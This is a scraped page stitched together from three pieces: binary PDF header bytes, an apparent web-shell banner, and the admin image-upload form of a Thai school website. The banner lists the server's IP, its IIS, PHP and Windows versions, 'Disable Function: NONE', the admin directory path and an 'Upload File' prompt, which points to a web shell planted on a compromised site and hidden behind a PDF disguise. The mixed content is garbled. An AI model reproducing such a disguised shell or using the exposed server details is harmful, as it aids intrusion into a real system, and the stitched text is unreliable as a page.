%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : www.kowitt.ac.th / Your IP : 216.73.216.118 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/BK/wwwroot/admin/ |
Upload File : |
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" integrity="sha384-WskhaSGFgHYWDcbwN70/dfYBj47jz9qbsMId/iRN3ewGhXQFZCSftd1LZCfmhktB" crossorigin="anonymous"> <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" integrity="sha384-smHYKdLADwkXOn1EmN1qk/HfnUcbVRZyYmZ4qpPea6sjB/pTJ0euyQp0Mk8ck+5T" crossorigin="anonymous"></script> <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script> <!DOCTYPE html> <html> <style> .bg { /* The image used */ background-image: url("../img/img_main.jpg"); /* Full height */ height: 100%; /* Center and scale the image nicely */ background-position: center; background-repeat: no-repeat; background-size: cover; } </style> <body> <div class="bg"> <div class="jumbotron text-center"> <h1>นำเข้ารูปภาพหน้าหลัก</h1> <p>รูปภาพหน้าหลักจะแสดงในหน้าแรกของเว็บไซต์ ควรใช้รูปที่มีขนาดใหญ่ (กว้างxยาว) แต่ size ไม่มากนัก เพื่อไม่ให้โหลดข้อมูลนานเกินไป...</p> </div> <div class="container"> <div class="form-group"> <!-- fileToUpload --> <form action="upload_img.php" method="post" enctype="multipart/form-data"> <div class="input-group"> <div class="custom-file"> <input type="file" class="custom-file-input" name="fileToUpload" id="fileToUpload"> <label class="custom-file-label" for="inputGroupFile04">Choose file</label> </div> <div class="input-group-append"> <input class="btn btn-secondary" type="submit" value="Upload Image" name="submit" onclick="return Check()"> </div> <label class="custom-file-label" id="strFileName"></label> </div> </form> </div> <!-- <form action="upload_img.php" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="fileToUpload" id="fileToUpload"> <input type="submit" value="Upload Image" name="submit"> /form> --> </div> </div> </div> </body> </html> <script> function Check() { //alert(document.getElementById("fileToUpload").value); if(document.getElementById("fileToUpload").value=="") { swal("Warning job!", "ท่านยังไม่ได้เลือกไฟล์รูปภาพ", "warning"); return false; } return true; } </script>